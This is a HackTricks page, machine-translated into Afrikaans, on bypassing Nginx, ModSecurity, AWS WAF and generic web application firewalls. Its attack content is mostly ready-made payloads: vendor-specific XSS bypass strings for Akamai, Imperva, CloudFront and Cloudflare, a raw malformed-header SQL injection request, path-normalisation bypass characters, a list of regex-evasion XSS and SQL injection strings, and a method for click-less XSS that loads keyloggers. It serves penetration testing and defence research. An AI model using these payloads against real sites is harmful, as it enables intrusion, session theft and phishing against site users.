Proxy / WAF Protections Bypass

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Teknieke uit hierdie navorsing.

Nginx reël voorbeeld:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn’t remove) it might be possible to bypass this defense.

Om bypasses te voorkom voer Nginx padnormalisering uit voordat dit nagegaan word. As die backend-bediener egter ’n ander normalisering uitvoer (deur karakters te verwyder wat nginx nie verwyder nie), kan dit moontlik wees om hierdie verdediging te omseil.

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM-konfigurasie:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx is geconfigureer om toegang tot /admin.php te blokkeer, maar dit is moontlik om dit te omseil deur toegang tot /admin.php/index.php.

Hoe om dit te voorkom

location ~* ^/admin {
deny all;
}

Omseil Mod Security Rules

Padverwarring

In this post word verduidelik dat ModSecurity v3 (tot 3.0.12) die REQUEST_FILENAME veranderlike onvoldoende geïmplementeer het wat veronderstel is om die toeganglike path te bevat (tot by die begin van die parameters). Dit is omdat dit ’n URL decode uitgevoer het om die path te kry.
Dus sal ’n versoek soos http://example.com/foo%3f';alert(1);foo= in ModSecurity aanneem dat die path net /foo is omdat %3f na ? omskakel wat die URL path beëindig, maar eintlik is die path wat ’n server sal ontvang /foo%3f';alert(1);foo=.

Die veranderlikes REQUEST_BASENAME en PATH_INFO is ook deur hierdie fout geraak.

Soortgelyke gedrag het in weergawe 2 van ModSecurity voorgekom wat toegelaat het om ’n beskerming wat gebruikers verhinder om toegang tot lêers met spesifieke extensies (soos .bak) te kry te omseil, eenvoudig deur die dot URL-gekodeer as %2e te stuur, byvoorbeeld: https://example.com/backup%2ebak.

Omseil AWS WAF ACL

Mislvormde header

This research noem dat dit moontlik was om AWS WAF-reëls wat op HTTP headers toegepas is te omseil deur ’n “malformed” header te stuur wat nie behoorlik deur AWS gepars is nie, maar wel deur die backend server.

Byvoorbeeld, deur die volgende request te stuur met ’n SQL injection in die header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Dit was moontlik om AWS WAF te omseil omdat dit nie sou verstaan dat die volgende reël deel is van die waarde van die header nie, terwyl die NODEJS-bediener dit wel gedoen het (dit is reggemaak).

Generiese WAF-omseilings

Versoekgroottebeperkings

Algemeen het WAFs ’n sekere lengtebeperking van versoeke om te kontroleer en as ’n POST/PUT/PATCH-versoek daarbo is, sal die WAF die versoek nie kontroleer nie.

Maksimumgrootte van 'n webversoek-body wat nagegaan kan word vir Application Load Balancer en AWS AppSync beskermings8 KB
Maksimumgrootte van 'n webversoek-body wat nagegaan kan word vir CloudFront, API Gateway, Amazon Cognito, App Runner, en Verified Access beskermings**64 KB

Ouer Web Application Firewalls met Core Rule Set 3.1 (of laer) laat boodskappe groter as 128 KB toe deur request body inspection af te skakel, maar hierdie boodskappe sal nie vir kwesbaarhede nagegaan word nie. Vir nuwer weergawes (Core Rule Set 3.2 of nuwer), kan dieselfde gedoen word deur die maksimum request body limiet te deaktiveer. Wanneer ’n versoek die groottegrens oorskry:

Indien prevention mode: registreer en blokkeer die versoek.
Indien detection mode: inspekteer tot by die limiet, ignoreer die res, en registreer indien die Content-Length die limiet oorskry.

By verstek inspekteer die WAF slegs die eerste 8KB van ’n versoek. Dit kan die limiet verhoog tot 128KB deur Advanced Metadata by te voeg.

Tot 128KB.

Inspeksiegaping vir statiese assets (.js GETs)

Sommige CDN/WAF-stakke pas swak of geen inhoudsinspeksie toe op GET-versoeke vir statiese assets (bv. paadjies wat eindig met .js), terwyl hulle steeds globale reëls soos ratelimiting en IP-reputasie toepas. Gekombineer met outo-caching van statiese extensies, kan dit misbruik word om kwaadwillige variante te lewer of te seed wat daaropvolgende HTML-antwoorde beïnvloed.

Praktiese gebruike:

  • Stuur payloads in onbetroubare headers (bv. User-Agent) op ’n GET na ’n .js pad om inhoudsinspeksie te vermy, en versoek dan onmiddellik die hoof-HTML om die gecachte variant te beïnvloed.
  • Gebruik ’n vars/skoon IP; sodra ’n IP gemerk is, kan routeringsveranderinge die tegniek onbetroubaar maak.
  • In Burp Repeater, gebruik “Send group in parallel” (single-packet style) om die twee versoeke (.js dan HTML) deur dieselfde front-end pad te laat meeding.

Dit pas goed by header-reflection cache poisoning. Sien:

Cache Poisoning and Cache Deception

Obfuskering

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode-kompatibiliteit

Afhangend van die implementering van Unicode-normalisering (meer inligting here), kan karakters wat Unicode-kompatibiliteit deel, moontlik die WAF omseil en as die bedoelde payload uitgevoer word. Kompatibele karakters is te vind here.

Voorbeeld

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Bypass Contextual WAFs with encodings

Soos in this blog post genoem, om WAFs wat ’n konteks van die gebruikersinvoer kan handhaaf te omseil, kan ons die WAF-tegnieke misbruik om eintlik die gebruiker se invoer te normaliseer.

Byvoorbeeld, in die pos word genoem dat Akamai het ’n gebruikersinvoer 10 keer URL-afgekodeer. Daarom sal iets soos <input/%2525252525252525253e/onfocus deur Akamai gesien word as <input/>/onfocus wat mag dink dit is ok as die tag gesluit is. As die toepassing die invoer egter nie 10 keer URL-afkodeer nie, sal die slagoffer iets soos <input/%25252525252525253e/onfocus sien wat nog steeds geldig is vir ’n XSS-aanval.

Hierdie benadering maak dit dus moontlik om payloads te versteek in gekodeerde komponente wat die WAF sal dekodeer en interpreteer, terwyl die slagoffer dit nie sal doen nie.

Verder kan dit nie net met URL encoded payloads gedoen word nie, maar ook met ander enkodings soos unicode, hex, octal…

In die pos word die volgende finale bypasses voorgestel:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Dit word ook genoem dat, afhangende van hoe sommige WAFs die konteks van die gebruikersinvoer verstaan, dit moontlik is om dit te misbruik. Die voorgestelde voorbeeld in die blog is dat Akamai toegelaat het om enigiets tussen /* en */ te plaas (waarskynlik omdat dit algemeen as kommentaar gebruik word). Daarom sal ’n SQLinjection soos /*'or sleep(5)-- -*/ nie gevang word nie en geldig wees, aangesien /* die beginstring van die injeksie is en */ as kommentaar beskou word.

Hierdie soort konteksprobleme kan ook gebruik word om ander kwesbaarhede as die een wat deur die WAF verwag word te misbruik (bv. dit kan ook gebruik word om ’n XSS te exploits).

Inline JavaScript first-statement inspection gaps

Sekere inline-inspeksiereëls ontleed net die eerste JavaScript-stelling wat binne ’n event handler voorkom. Deur ’n onskadelike-voorkomende uitdrukking in hakies voor te voeg gevolg deur ’n semikolon (byvoorbeeld onfocus="(history.length);payload"), omseil die kwaadwillige kode ná die semikolon die inspeksie terwyl die blaaier dit steeds uitvoer. Deur dit te kombineer met fragment-geïnduseerde fokus (bv. die toevoeging van #forgot_btn sodat die geteikende element by laai gefokus is) maak dit click-less XSS moontlik wat onmiddellik $.getScript kan aanroep en phishing-instrumente soos keyloggers kan bootstrap. Sien die attribute-only login XSS case study afgelei van this research.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

Verskillende tegnieke kan gebruik word om die regex-filters op die firewalls te omseil. Voorbeelde sluit in afwisselende hoof-/kleinskryf, die toevoeging van reëlspringe, en die enkodering van payloads. Hulpbronne vir die verskeie bypasses is te vinde by PayloadsAllTheThings en OWASP. Die voorbeelde hieronder is geneem uit this article.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Gereedskap

  • nowafpls: Burp plugin om rommeldata by versoeke te voeg om WAFs deur lengte te omseil

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks